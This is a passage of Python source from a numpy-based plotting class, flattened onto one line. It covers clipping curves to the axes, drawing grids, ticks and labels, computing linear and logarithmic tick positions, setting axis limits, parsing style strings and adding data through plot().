adj_pts_right_of_axes), np.logical_or(adj_pts_below_axes, adj_pts_above_axes)) adj_pts_outside_axes = np.logical_and(pts_in_axes[0:-1] == False, pts_in_axes[1:] == False) where_adj_pts_may_straddle_axes = np.where(np.logical_and(adj_pts_outside_axes, adj_pts_on_same_side_of_axes == False))[0] for i in where_adj_pts_may_straddle_axes: if (px[i] == px[i + 1]): coords = [self.to_canvas_x(px[i]), self.axes_bottom, self.to_canvas_x(px[i]), self.axes_top] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) elif (py[i] == py[i + 1]): coords = [self.axes_left, self.to_canvas_y(py[i], curve.yaxis), self.axes_right, self.to_canvas_y(py[i], curve.yaxis)] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) else: if px[i] < px[i + 1]: x1, y1 = px[i], py[i] x2, y2 = px[i + 1], py[i + 1] else: x1, y1 = px[i + 1], py[i + 1] x2, y2 = px[i], py[i] NW = (yaxis.ylim[1] - y1) * (x2 - x1) - (self.xlim[0] - x1) * (y2 - y1) NE = (yaxis.ylim[1] - y1) * (x2 - x1) - (self.xlim[1] - x1) * (y2 - y1) SE = (yaxis.ylim[0] - y1) * (x2 - x1) - (self.xlim[1] - x1) * (y2 - y1) SW = (yaxis.ylim[0] - y1) * (x2 - x1) - (self.xlim[0] - x1) * (y2 - y1) if (NW > 0) and (NE <= 0) and (SW <= 0): coords = [self.axes_left, self.to_canvas_y(y1 + (y2 - y1) * (self.xlim[0] - x1) / (x2 - x1), curve.yaxis), self.to_canvas_x(x1 + (x2 - x1) * (yaxis.ylim[1] - y1) / (y2 - y1)), self.axes_top] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) elif (NE > 0) and (NW <= 0) and (SE <= 0): coords = [self.to_canvas_x(x1 + (x2 - x1) * (yaxis.ylim[1] - y1) / (y2 - y1)), self.axes_top, self.axes_right, self.to_canvas_y(y1 + (y2 - y1) * (self.xlim[1] - x1) / (x2 - x1), curve.yaxis)] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) elif (SW <= 0) and (NW > 0) and (SE > 0): coords = [self.axes_left, self.to_canvas_y(y1 + (y2 - y1) * (self.xlim[0] - x1) / (x2 - x1), curve.yaxis), self.to_canvas_x(x1 + (x2 - x1) * (yaxis.ylim[0] - y1) / (y2 - y1)), self.axes_bottom] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) elif (SE <= 0) and (SW > 0) and (NE > 0): coords = [self.to_canvas_x(x1 + (x2 - x1) * (yaxis.ylim[0] - y1) / (y2 - y1)), self.axes_bottom, self.axes_right, self.to_canvas_y(y1 + (y2 - y1) * (self.xlim[1] - x1) / (x2 - x1), curve.yaxis)] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) elif (NW > 0) and (NE > 0) and (SW <= 0) and (SE <= 0): coords = [self.axes_left, self.to_canvas_y(y1 + (y2 - y1) * (self.xlim[0] - x1) / (x2 - x1), curve.yaxis), self.axes_right, self.to_canvas_y(y1 + (y2 - y1) * (self.xlim[1] - x1) / (x2 - x1), curve.yaxis)] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) elif (NW * NE < 0) and (SW * SE < 0): coords = [self.to_canvas_x(x1 + (x2 - x1) * (yaxis.ylim[0] - y1) / (y2 - y1)), self.axes_bottom, self.to_canvas_x(x1 + (x2 - x1) * (yaxis.ylim[1] - y1) / (y2 - y1)), self.axes_top] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) def draw_curves(self): for name in self.curves.keys(): self.begin_group(name = name) curve = self.curves[name] yaxis = self.yaxes[curve.yaxis] if curve.curve_style != '': self.draw_curve(curve) if curve.marker != '': for i in range(len(curve.points_x)): px = curve.points_x[i] py = curve.points_y[i] pts_in_axes = np.logical_and(np.logical_and(px > self.xlim[0] - self.x_epsilon, px < self.xlim[1] + self.x_epsilon), np.logical_and(py > yaxis.ylim[0] - yaxis.y_epsilon, py < yaxis.ylim[1] + yaxis.y_epsilon)) where_pts_in_axes = np.where(pts_in_axes)[0] x = self.axes_left + self.x_pix_per_unit * (px[where_pts_in_axes] - self.xlim[0]) y = self.axes_top + yaxis.y_pix_per_unit * (yaxis.ylim[1] - py[where_pts_in_axes]) for j in range(len(x)): self.draw_marker(x[j], y[j], curve.marker, curve.marker_color, name) self.end_group() def draw_v_grid_line(self, x): self.draw_line(coords = [x, self.axes_top, x, self.axes_bottom], fill = self.axes_color, dash = (1, 4), width = self.tick_lineweight) def draw_h_grid_line(self, y): self.draw_line(coords = [self.axes_left, y, self.axes_right, y], fill = self.axes_color, dash = (1, 4), width = self.tick_lineweight) def draw_grid(self): if self.grid_state == 'on': self.begin_group(name = 'grid') for [x, label] in self.x_ticks: self.draw_v_grid_line(self.to_canvas_x(x)) if self.xaxis_mode == 'log': for [x, label] in self.x_minor_ticks: self.draw_v_grid_line(self.to_canvas_x(x)) for [y, label] in self.left_y_ticks: self.draw_h_grid_line(self.to_canvas_y(y, self.left_yaxis)) if self.left_yaxis != '' and self.yaxes[self.left_yaxis].yaxis_mode == 'log': for [y, label] in self.left_y_minor_ticks: self.draw_h_grid_line(self.to_canvas_y(y, self.left_yaxis)) for [y, label] in self.right_y_ticks: self.draw_h_grid_line(self.to_canvas_y(y, self.right_yaxis)) if self.right_yaxis != '' and self.yaxes[self.right_yaxis].yaxis_mode == 'log': for [y, label] in self.right_y_minor_ticks: self.draw_h_grid_line(self.to_canvas_y(y, self.right_yaxis)) self.end_group() def draw_top_tick(self, x): self.draw_line(coords = [x, self.axes_top, x, self.axes_top + self.tick_length], fill = self.axes_color, width = self.tick_lineweight) def draw_bottom_tick(self, x): self.draw_line(coords = [x, self.axes_bottom, x, self.axes_bottom - self.tick_length], fill = self.axes_color, width = self.tick_lineweight) def draw_left_tick(self, y): self.draw_line(coords = [self.axes_left, y, self.axes_left + self.tick_length, y], fill = self.axes_color, width = self.tick_lineweight) def draw_right_tick(self, y): self.draw_line(coords = [self.axes_right, y, self.axes_right - self.tick_length, y], fill = self.axes_color, width = self.tick_lineweight) def draw_top_minor_tick(self, x): self.draw_line(coords = [x, self.axes_top, x, self.axes_top + 0.5 * self.tick_length], fill = self.axes_color, width = self.tick_lineweight) def draw_bottom_minor_tick(self, x): self.draw_line(coords = [x, self.axes_bottom, x, self.axes_bottom - 0.5 * self.tick_length], fill = self.axes_color, width = self.tick_lineweight) def draw_left_minor_tick(self, y): self.draw_line(coords = [self.axes_left, y, self.axes_left + 0.5 * self.tick_length, y], fill = self.axes_color, width = self.tick_lineweight) def draw_right_minor_tick(self, y): self.draw_line(coords = [self.axes_right, y, self.axes_right - 0.5 * self.tick_length, y], fill = self.axes_color, width = self.tick_lineweight) def draw_bottom_tick_label(self, x, label): self.draw_text(coords = [x, self.axes_bottom + 0.5 * self.label_fontsize], text = label, font = (self.label_font, self.label_fontsize), fill = self.axes_color, anchor = 'n', justify = 'center') def draw_left_tick_label(self, y, label, label_color): self.draw_text(coords = [self.axes_left - 0.5 * self.label_fontsize, y], text = label, font = (self.label_font, self.label_fontsize), fill = self.axes_color, anchor = 'e', justify = 'right') def draw_right_tick_label(self, y, label, label_color): self.draw_text(coords = [self.axes_right + 0.5 * self.label_fontsize, y], text = label, font = (self.label_font, self.label_fontsize), fill = self.axes_color, anchor = 'w', justify = 'left') def draw_x_ticks(self): if (len(self.x_ticks) != 0) or (len(self.x_minor_ticks) != 0): self.begin_group(name = 'x_ticks') for [x, label] in self.x_ticks: self.draw_top_tick(self.to_canvas_x(x)) self.draw_bottom_tick(self.to_canvas_x(x)) for [x, label] in self.x_minor_ticks: self.draw_top_minor_tick(self.to_canvas_x(x)) self.draw_bottom_minor_tick(self.to_canvas_x(x)) self.end_group() self.begin_group(name = 'x_ticklabels') for [x, label] in self.x_ticks: if label != '': self.draw_bottom_tick_label(self.to_canvas_x(x), label) for [x, label] in self.x_minor_ticks: if label != '': self.draw_bottom_tick_label(self.to_canvas_x(x), label) self.end_group() def draw_y_ticks(self): left_curves = [curve_name for curve_name in self.curves if self.curves[curve_name].yaxis == self.left_yaxis] right_curves = [curve_name for curve_name in self.curves if self.curves[curve_name].yaxis == self.right_yaxis] if (self.left_yaxis != '') and ((self.right_yaxis == '') or (len(right_curves) == 0)): if (len(self.left_y_ticks) != 0) or (len(self.left_y_minor_ticks) != 0): self.begin_group(name = 'y_ticks') for [y, label] in self.left_y_ticks: self.draw_left_tick(self.to_canvas_y(y, self.left_yaxis)) self.draw_right_tick(self.to_canvas_y(y, self.left_yaxis)) for [y, label] in self.left_y_minor_ticks: self.draw_left_minor_tick(self.to_canvas_y(y, self.left_yaxis)) self.draw_right_minor_tick(self.to_canvas_y(y, self.left_yaxis)) self.end_group() self.begin_group(name = 'y_ticklabels') for [y, label] in self.left_y_ticks: if label != '': self.draw_left_tick_label(self.to_canvas_y(y, self.left_yaxis), label, self.yaxes[self.left_yaxis].color) for [y, label] in self.left_y_minor_ticks: if label != '': self.draw_left_tick_label(self.to_canvas_y(y, self.left_yaxis), label, self.yaxes[self.left_yaxis].color) self.end_group() elif ((self.left_yaxis == '') or (len(left_curves) == 0)) and (self.right_yaxis != ''): if (len(self.right_y_ticks) != 0) or (len(self.right_y_minor_ticks) != 0): self.begin_group(name = 'y_ticks') for [y, label] in self.right_y_ticks: self.draw_left_tick(self.to_canvas_y(y, self.right_yaxis)) self.draw_right_tick(self.to_canvas_y(y, self.right_yaxis)) for [y, label] in self.right_y_minor_ticks: self.draw_left_minor_tick(self.to_canvas_y(y, self.right_yaxis)) self.draw_right_minor_tick(self.to_canvas_y(y, self.right_yaxis)) self.end_group() self.begin_group(name = 'y_ticklabels') for [y, label] in self.right_y_ticks: if label != '': self.draw_right_tick_label(self.to_canvas_y(y, self.right_yaxis), label, self.yaxes[self.right_yaxis].color) for [y, label] in self.right_y_minor_ticks: if label != '': self.draw_right_tick_label(self.to_canvas_y(y, self.right_yaxis), label, self.yaxes[self.right_yaxis].color) self.end_group() elif (self.left_yaxis != '') and (self.right_yaxis != ''): if (len(self.left_y_ticks) != 0) or (len(self.left_y_minor_ticks) != 0) or (len(self.right_y_ticks) != 0) or (len(self.right_y_minor_ticks) != 0): self.begin_group(name = 'left_y_ticks') for [y, label] in self.left_y_ticks: self.draw_left_tick(self.to_canvas_y(y, self.left_yaxis)) for [y, label] in self.left_y_minor_ticks: self.draw_left_minor_tick(self.to_canvas_y(y, self.left_yaxis)) self.end_group() self.begin_group(name = 'left_y_ticklabels') for [y, label] in self.left_y_ticks: if label != '': self.draw_left_tick_label(self.to_canvas_y(y, self.left_yaxis), label, self.yaxes[self.left_yaxis].color) for [y, label] in self.left_y_minor_ticks: if label != '': self.draw_left_tick_label(self.to_canvas_y(y, self.left_yaxis), label, self.yaxes[self.left_yaxis].color) self.end_group() self.begin_group(name = 'right_y_ticks') for [y, label] in self.right_y_ticks: self.draw_right_tick(self.to_canvas_y(y, self.right_yaxis)) for [y, label] in self.right_y_minor_ticks: self.draw_right_minor_tick(self.to_canvas_y(y, self.right_yaxis)) self.end_group() self.begin_group(name = 'right_y_ticklabels') for [y, label] in self.right_y_ticks: if label != '': self.draw_right_tick_label(self.to_canvas_y(y, self.right_yaxis), label, self.yaxes[self.right_yaxis].color) for [y, label] in self.right_y_minor_ticks: if label != '': self.draw_right_tick_label(self.to_canvas_y(y, self.right_yaxis), label, self.yaxes[self.right_yaxis].color) self.end_group() def draw_axis_labels(self): if self.xlabel_value != '': self.draw_text(coords = [0.5 * (self.axes_left + self.axes_right), self.axes_bottom + 2.5 * self.label_fontsize], text = self.xlabel_value, font = (self.label_font, self.label_fontsize), fill = self.axes_color, anchor = 'n', justify = 'center') if self.left_yaxis != '': if self.yaxes[self.left_yaxis].ylabel_value != '': self.draw_text(coords = [self.axes_left, self.axes_top - 0.5 * self.label_fontsize], text = self.yaxes[self.left_yaxis].ylabel_value, font = (self.label_font, self.label_fontsize), fill = self.yaxes[self.left_yaxis].color, anchor = 'sw', justify = 'left') if self.right_yaxis != '': if self.yaxes[self.right_yaxis].ylabel_value != '': self.draw_text(coords = [self.axes_right, self.axes_top - 0.5 * self.label_fontsize], text = self.yaxes[self.right_yaxis].ylabel_value, font = (self.label_font, self.label_fontsize), fill = self.yaxes[self.right_yaxis].color, anchor = 'se', justify = 'right') def find_x_ticks(self): self.x_ticks = [] self.x_minor_ticks = [] if self.curves != {}: if self.xaxis_mode == 'linear': self.x_ticks = self.find_linear_ticks(self.xlimits_mode, self.axes_width, self.xrange, self.xlim, self.x_epsilon, self.xmin, self.xmax) self.x_minor_ticks = self.find_linear_minor_ticks(self.axes_width, self.xrange, self.xlim, self.x_epsilon, self.xmin, self.xmax) elif self.xaxis_mode == 'log': self.x_ticks = self.find_log_ticks(self.xlimits_mode, self.axes_width, self.xrange, self.xlim, self.x_epsilon, self.xaxis_sign, self.xmin, self.xmax) self.x_minor_ticks = self.find_log_minor_ticks(self.axes_width, self.xrange, self.xlim, self.x_epsilon, self.xaxis_sign, self.xmin, self.xmax) def find_y_ticks(self): self.left_y_ticks = [] self.left_y_minor_ticks = [] self.right_y_ticks = [] self.right_y_minor_ticks = [] left_curves = [curve_name for curve_name in self.curves if self.curves[curve_name].yaxis == self.left_yaxis] right_curves = [curve_name for curve_name in self.curves if self.curves[curve_name].yaxis == self.right_yaxis] if self.curves != {}: if (self.left_yaxis != '') and (len(left_curves) != 0): yaxis = self.yaxes[self.left_yaxis] if yaxis.yaxis_mode == 'linear': self.left_y_ticks = self.find_linear_ticks(yaxis.ylimits_mode, self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.ymin, yaxis.ymax) self.left_y_minor_ticks = self.find_linear_minor_ticks(self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.ymin, yaxis.ymax) elif yaxis.yaxis_mode == 'log': self.left_y_ticks = self.find_log_ticks(yaxis.ylimits_mode, self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.yaxis_sign, yaxis.ymin, yaxis.ymax) self.left_y_minor_ticks = self.find_log_minor_ticks(self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.yaxis_sign, yaxis.ymin, yaxis.ymax) if (self.right_yaxis != '') and (len(right_curves) != 0): yaxis = self.yaxes[self.right_yaxis] if yaxis.yaxis_mode == 'linear': self.right_y_ticks = self.find_linear_ticks(yaxis.ylimits_mode, self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.ymin, yaxis.ymax) self.right_y_minor_ticks = self.find_linear_minor_ticks(self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.ymin, yaxis.ymax) elif yaxis.yaxis_mode == 'log': self.right_y_ticks = self.find_log_ticks(yaxis.ylimits_mode, self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.yaxis_sign, yaxis.ymin, yaxis.ymax) self.right_y_minor_ticks = self.find_log_minor_ticks(self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.yaxis_sign, yaxis.ymin, yaxis.ymax) def find_linear_ticks(self, axis_limits_mode, axis_dimension, axis_range, axis_lim, epsilon, axis_min, axis_max): if axis_limits_mode == 'auto': axis_range = axis_max - axis_min tick_interval = axis_range / min(10., axis_dimension / (2.5 * self.label_fontsize)) foo = math.log10(tick_interval) bar = math.floor(foo) foobar = foo - bar if foobar < 0.001: tick_interval = math.pow(10., bar) elif foobar < math.log10(2.001): tick_interval = 2. * math.pow(10., bar) elif foobar < math.log10(5.001): tick_interval = 5. * math.pow(10., bar) else: tick_interval = 10. * math.pow(10., bar) if axis_limits_mode == 'auto': axis_lim[0] = tick_interval * math.floor(axis_min / tick_interval) axis_lim[1] = tick_interval * math.ceil(axis_max / tick_interval) self.update_sizes() tick = tick_interval * round(axis_lim[0] / tick_interval) ticks = [] for i in range(int(math.ceil((axis_lim[1] - axis_lim[0]) / tick_interval)) + 1): if (tick > axis_lim[0] - epsilon) and (tick < axis_lim[1] + epsilon): ticks.append(tick_interval * round(tick / tick_interval)) tick += tick_interval if len(ticks) != 0: if (min(ticks) == 0.) and (max(ticks) == 0.): foo = 0 else: foo = int(math.floor(math.log10(max(abs(min(ticks)), abs(max(ticks)), axis_range)) / 3.)) axis_ticks = [] for tick in ticks: if (foo >= -8) and (foo <= 8): if tick == -0.: tick = 0. tick_label = '{:g}'.format(self.multipliers[foo] * tick) if tick_label[-2:] == '.0': tick_label = tick_label.replace('.0', '') axis_ticks.append([tick, tick_label + self.prefixes[foo]]) else: axis_ticks.append([tick, '{:g}'.format(tick)]) return axis_ticks def find_linear_minor_ticks(self, axis_dimension, axis_range, axis_lim, epsilon, axis_min, axis_max): if self.linear_minor_ticks == 'off': return [] tick_interval = axis_range / min(10., axis_dimension / (2.5 * self.label_fontsize)) foo = math.log10(tick_interval) bar = math.floor(foo) foobar = foo - bar if foobar < 0.001: tick_interval = math.pow(10., bar) minor_tick_interval = 0.2 * tick_interval elif foobar < math.log10(2.001): tick_interval = 2. * math.pow(10., bar) minor_tick_interval = 0.25 * tick_interval elif foobar < math.log10(5.001): tick_interval = 5. * math.pow(10., bar) minor_tick_interval = 0.2 * tick_interval else: tick_interval = 10. * math.pow(10., bar) minor_tick_interval = 0.2 * tick_interval tick = tick_interval * round(axis_lim[0] / tick_interval) minor_tick = minor_tick_interval * round(axis_lim[0] / minor_tick_interval) if tick < minor_tick: tick += tick_interval axis_minor_ticks = [] for i in range(int(math.ceil((axis_lim[1] - axis_lim[0]) / minor_tick_interval)) + 1): if (minor_tick > axis_lim[0] - epsilon) and (minor_tick < axis_lim[1] + epsilon) and abs(minor_tick - tick) > epsilon: axis_minor_ticks.append([minor_tick_interval * round(minor_tick / minor_tick_interval), '']) minor_tick += minor_tick_interval if tick < minor_tick: tick += tick_interval return axis_minor_ticks def find_log_ticks(self, axis_limits_mode, axis_dimension, axis_range, axis_lim, epsilon, sign, axis_min, axis_max): if axis_limits_mode == 'auto': axis_range = axis_max - axis_min tick_interval = math.ceil(axis_range / min(10., axis_dimension / (2.5 * self.label_fontsize))) if axis_limits_mode == 'auto': axis_lim[0] = tick_interval * math.floor(axis_min / tick_interval) axis_lim[1] = tick_interval * math.ceil(axis_max / tick_interval) self.update_sizes() tick = tick_interval * round(axis_lim[0] / tick_interval) ticks = [] for i in range(int(math.ceil((axis_lim[1] - axis_lim[0]) / tick_interval)) + 1): if (tick > axis_lim[0] - epsilon) and (tick < axis_lim[1] + epsilon): ticks.append(tick_interval * round(tick / tick_interval)) tick += tick_interval axis_ticks = [] for tick in ticks: foo = int(math.floor(sign * tick / 3.)) if (foo >= -8) and (foo <= 8): tick_label = '{:g}'.format(sign * round(self.multipliers[foo] * math.pow(10., sign * tick))) if tick_label[-2:] == '.0': tick_label = tick_label.replace('.0', '') axis_ticks.append([tick, tick_label + self.prefixes[foo]]) else: axis_ticks.append([tick, '{:g}'.format(sign * math.pow(10., sign * tick))]) return axis_ticks def find_log_minor_ticks(self, axis_dimension, axis_range, axis_lim, epsilon, sign, axis_min, axis_max): minor_ticks = [] tick_interval = axis_range / min(10., axis_dimension / (2.5 * self.label_fontsize)) minor_tick_interval = 10. * min(1. - math.pow(10., -tick_interval), math.pow(10., tick_interval) - 1.) tick_interval = math.ceil(tick_interval) foo = math.log10(minor_tick_interval) bar = math.floor(foo) foobar = foo - bar if foobar < 0.001: minor_tick_interval = math.pow(10., bar) elif foobar < math.log10(2.001): minor_tick_interval = 2. * math.pow(10., bar) elif foobar < math.log10(5.001): minor_tick_interval = 5. * math.pow(10., bar) else: minor_tick_interval = 10. * math.pow(10., bar) if (tick_interval == 1.) and (axis_range <= 1.): label_threshold = 2.5 * self.label_fontsize * epsilon if minor_tick_interval < 1.: ticks_to_label = [] tick = 1. + minor_tick_interval while tick < 10. - 0.001 * minor_tick_interval: ticks_to_label.append(tick) tick += minor_tick_interval elif math.log10(10. / 9.) > label_threshold: ticks_to_label = range(2, 10) elif math.log10(1.25) > label_threshold: ticks_to_label = range(2, 10, 2) elif math.log10(2) > label_threshold: ticks_to_label = [2, 5] elif math.log10(3) > label_threshold: ticks_to_label = [3] else: ticks_to_label = [] for i in range(int(math.ceil(axis_range)) + 2): exponent = math.floor(axis_lim[0]) + i for j in ticks_to_label: minor_tick = exponent + sign * math.log10(float(j)) if (minor_tick > axis_lim[0] - epsilon) and (minor_tick < axis_lim[1] + epsilon): foo = int(math.floor(sign * minor_tick / 3.)) if (foo >= -8) and (foo <= 8): tick_label = '{:g}'.format(sign * self.multipliers[foo] * math.pow(10., sign * minor_tick)) if tick_label[-2:] == '.0': tick_label = tick_label.replace('.0', '') minor_ticks.append([minor_tick, tick_label + self.prefixes[foo]]) else: minor_ticks.append([minor_tick, '{:g}'.format(sign * math.pow(10., sign * minor_tick))]) elif (tick_interval == 1.) and (math.log10(10. / 9.) > 2. * epsilon): for i in range(int(math.ceil(axis_range)) + 2): exponent = math.floor(axis_lim[0]) + i for j in range(2, 10): minor_tick = exponent + sign * math.log10(float(j)) if (minor_tick > axis_lim[0] - epsilon) and (minor_tick < axis_lim[1] + epsilon): minor_ticks.append([minor_tick, '']) elif (tick_interval > 1.) and (epsilon < 0.25): for i in range(int(math.ceil(axis_range)) + 2): minor_tick = math.floor(axis_lim[0]) + i if (minor_tick > axis_lim[0] - epsilon) and (minor_tick < axis_lim[1] + epsilon) and (minor_tick != tick_interval * round(minor_tick / tick_interval)): minor_ticks.append([minor_tick, '']) return minor_ticks def find_axes_limits(self): if self.curves != {}: if self.xlimits_mode != 'manual': x_mins = [] x_maxs = [] for curve_name in self.curves.keys(): curve = self.curves[curve_name] yaxis = self.yaxes[curve.yaxis] if yaxis.ylimits_mode == 'manual': for i in range(len(curve.points_x)): pts_where_y_in_axes = np.where(np.logical_and(curve.points_y[i] > yaxis.ylim[0] - yaxis.y_epsilon, curve.points_y[i] < yaxis.ylim[1] + yaxis.y_epsilon))[0] if len(pts_where_y_in_axes) != 0: x_mins.append(np.amin(curve.points_x[i][pts_where_y_in_axes])) x_maxs.append(np.amax(curve.points_x[i][pts_where_y_in_axes])) else: for i in range(len(curve.points_x)): if len(curve.points_x[i]) != 0: x_mins.append(np.amin(curve.points_x[i])) x_maxs.append(np.amax(curve.points_x[i])) if (len(x_mins) > 0) and (len(x_maxs) > 0): self.xlim[0] = min(x_mins) self.xlim[1] = max(x_maxs) if self.xlim[0] == self.xlim[1]: if self.xlim[0] > 0.: self.xlim[0] = 0.95 * self.xlim[0] self.xlim[1] = 1.05 * self.xlim[1] elif self.xlim[0] < 0.: self.xlim[0] = 1.05 * self.xlim[0] self.xlim[1] = 0.95 * self.xlim[1] else: self.xlim[0] = -0.05 self.xlim[1] = 0.05 self.xmin = self.xlim[0] self.xmax = self.xlim[1] for yaxis_name in self.yaxes.keys(): yaxis = self.yaxes[yaxis_name] if yaxis.ylimits_mode != 'manual': y_mins = [] y_maxs = [] for curve_name in self.curves.keys(): curve = self.curves[curve_name] if curve.yaxis == yaxis_name: if self.xlimits_mode == 'manual': for i in range(len(curve.points_y)): pts_where_x_in_axes = np.where(np.logical_and(curve.points_x[i] > self.xlim[0] - self.x_epsilon, curve.points_x[i] < self.xlim[1] + self.x_epsilon))[0] if len(pts_where_x_in_axes) != 0: y_mins.append(np.amin(curve.points_y[i][pts_where_x_in_axes])) y_maxs.append(np.amax(curve.points_y[i][pts_where_x_in_axes])) else: for i in range(len(curve.points_y)): if len(curve.points_y[i]) != 0: y_mins.append(np.amin(curve.points_y[i])) y_maxs.append(np.amax(curve.points_y[i])) if (len(y_mins) > 0) and (len(y_maxs) > 0): yaxis.ylim[0] = min(y_mins) yaxis.ylim[1] = max(y_maxs) if yaxis.ylim[0] == yaxis.ylim[1]: if yaxis.ylim[0] > 0.: yaxis.ylim[0] = 0.95 * yaxis.ylim[0] yaxis.ylim[1] = 1.05 * yaxis.ylim[1] elif yaxis.ylim[0] < 0.: yaxis.ylim[0] = 1.05 * yaxis.ylim[0] yaxis.ylim[1] = 0.95 * yaxis.ylim[1] else: yaxis.ylim[0] = -0.05 yaxis.ylim[1] = 0.05 yaxis.ymin = yaxis.ylim[0] yaxis.ymax = yaxis.ylim[1] def parse_style(self, style): length = len(style) colors = self.colors.keys() markers = self.marker_coords.keys() linestyles = self.linestyles.keys() marker_color = '' marker = '' curve_color = '' curve_style = '' if (length >= 1) and (style[0] in colors): if (length >= 2) and (style[1] in markers): marker_color = style[0] marker = style[1] if (length >= 3) and (style[2] in colors): curve_color = style[2] if (length >= 5) and (style[3:5] in linestyles): curve_style = style[3:5] elif (length >= 4) and (style[3] in linestyles): curve_style = style[3] elif (length >= 4) and (style[2:4] in linestyles): curve_style = style[2:4] elif (length >= 3) and (style[2] in linestyles): curve_style = style[2] elif (length >= 3) and (style[1:3] in linestyles): curve_color = style[0] curve_style = style[1:3] elif (length >= 2) and (style[1] in linestyles): curve_color = style[0] curve_style = style[1] elif (length >= 1) and (style[0] in markers): marker = style[0] if (length >= 2) and (style[1] in colors): curve_color = style[1] if (length >= 4) and (style[2:4] in linestyles): curve_style = style[2:4] elif (length >= 3) and (style[2] in linestyles): curve_style = style[2] elif (length >= 3) and (style[1:3] in linestyles): curve_style = style[1:3] elif (length >= 2) and (style[1] in linestyles): curve_style = style[1] elif (length >= 2) and (style[0:2] in linestyles): curve_style = style[0:2] elif (length >= 1) and (style[0] in linestyles): curve_style = style[0] if (marker == '') and (curve_style == ''): marker = self.default_marker curve_style = self.default_curve_style if ((marker != '') and (marker_color == '')) or ((curve_style != '') and (curve_color == '')): if marker_color == '': marker_color = self.default_color_order[self.default_color_index] if curve_color == '': curve_color = self.default_color_order[self.default_color_index] self.default_color_index = self.default_color_index + 1 if self.default_color_index >= len(self.default_color_order): self.default_color_index = 0 if (marker_color != '') and (curve_color == ''): curve_color = marker_color if (marker_color == '') and (curve_color != ''): marker_color = curve_color return [marker_color, marker, curve_color, curve_style] def new_data(self, x, y, style = '', name = '', yaxis = 'left', hold = 'off'): new_curves = {} if type(x) is np.ndarray: if type(y) is np.ndarray: if len(x) == len(y): if name != '': curve_name = name else: curve_name = 'curve{0:05d}'.format(self.curve_id) self.curve_id += 1 new_curves[curve_name] = self.curve(name = curve_name, yaxis = yaxis, data_x = x.copy(), data_y = y.copy()) [new_curves[curve_name].marker_color, new_curves[curve_name].marker, new_curves[curve_name].curve_color, new_curves[curve_name].curve_style] = self.parse_style(style) else: raise IndexError('x and y numpy arrays supplied did not have the same number of elements') elif (type(y) is list) and all([type(v) is np.ndarray for v in y]): if all([len(x) == len(v) for v in y]): for j in range(len(y)): if (type(name) is list) and name[j] != '': curve_name = name[j] else: curve_name = 'curve{0:05d}'.format(self.curve_id) self.curve_id += 1 new_curves[curve_name] = self.curve(name = curve_name, yaxis = yaxis, data_x = x.copy(), data_y = y[j].copy()) if type(style) is str: [new_curves[curve_name].marker_color, new_curves[curve_name].marker, new_curves[curve_name].curve_color, new_curves[curve_name].curve_style] = self.parse_style(style) else: [new_curves[curve_name].marker_color, new_curves[curve_name].marker, new_curves[curve_name].curve_color, new_curves[curve_name].curve_style] = self.parse_style(style[j]) else: raise IndexError('at least one of the numpy arrays supplied in y did not have the same number of elements as x') else: raise TypeError('if x is a numpy array, y must either be a numpy array or a list of numpy arrays') elif (type(x) is list) and all([type(v) is np.ndarray for v in x]): if (type(y) is list) and all([type(v) is np.ndarray for v in y]): if len(x) == len(y): if all([len(x[j]) == len(y[j]) for j in range(len(x))]): for j in range(len(x)): if (type(name) is list) and name[j] != '': curve_name = name[j] else: curve_name = 'curve{0:05d}'.format(self.curve_id) self.curve_id += 1 new_curves[curve_name] = self.curve(name = curve_name, yaxis = yaxis, data_x = x[j].copy(), data_y = y[j].copy()) if type(style) is str: [new_curves[curve_name].marker_color, new_curves[curve_name].marker, new_curves[curve_name].curve_color, new_curves[curve_name].curve_style] = self.parse_style(style) else: [new_curves[curve_name].marker_color, new_curves[curve_name].marker, new_curves[curve_name].curve_color, new_curves[curve_name].curve_style] = self.parse_style(style[j]) else: raise IndexError('at least one of the numpy arrays supplied in x did not have the same number of elements as the corresponding numpy arrays supplied in y') else: raise IndexError('x and y supplied did not contain the same number of numpy arrays') else: raise TypeError('if x is a list of numpy arrays, y must also be a list of numpy arrays') else: raise TypeError('x and y supplied were not numpy arrays or lists of numpy arrays') if hold == 'off': self.curves = new_curves else: self.curves.update(new_curves) def plot(self, x, y, style = '', **kwargs): name = kwargs.get('name', '') yaxis = kwargs.get('yaxis', 'left') if yaxis not in self.yaxes.keys(): raise ValueError("specified y-axis does not exist") hold = kwargs.get('hold', 'off') if hold not in ('on', 'off'): raise ValueError("if specified, hold must be 'on' or 'off'") if hold == 'off': self.default_color_index = 0 self.new_data(x, y, style, name, yaxis, hold) self.xaxis_mode = 'linear' self.xlimits_mode = 'auto' self.yaxes[yaxis].yaxis_mode = 'linear' self.yaxes[yaxis].ylimits_mode = 'auto' for curve_name in self.curves.keys(): curve = self.curves[curve_name] yaxis = self.yaxes[curve.yaxis] if yaxis.yaxis_mode == 'linear': curve.points_x = [curve.data_x.copy()] curve.points_y = [curve.data_y.copy()] elif 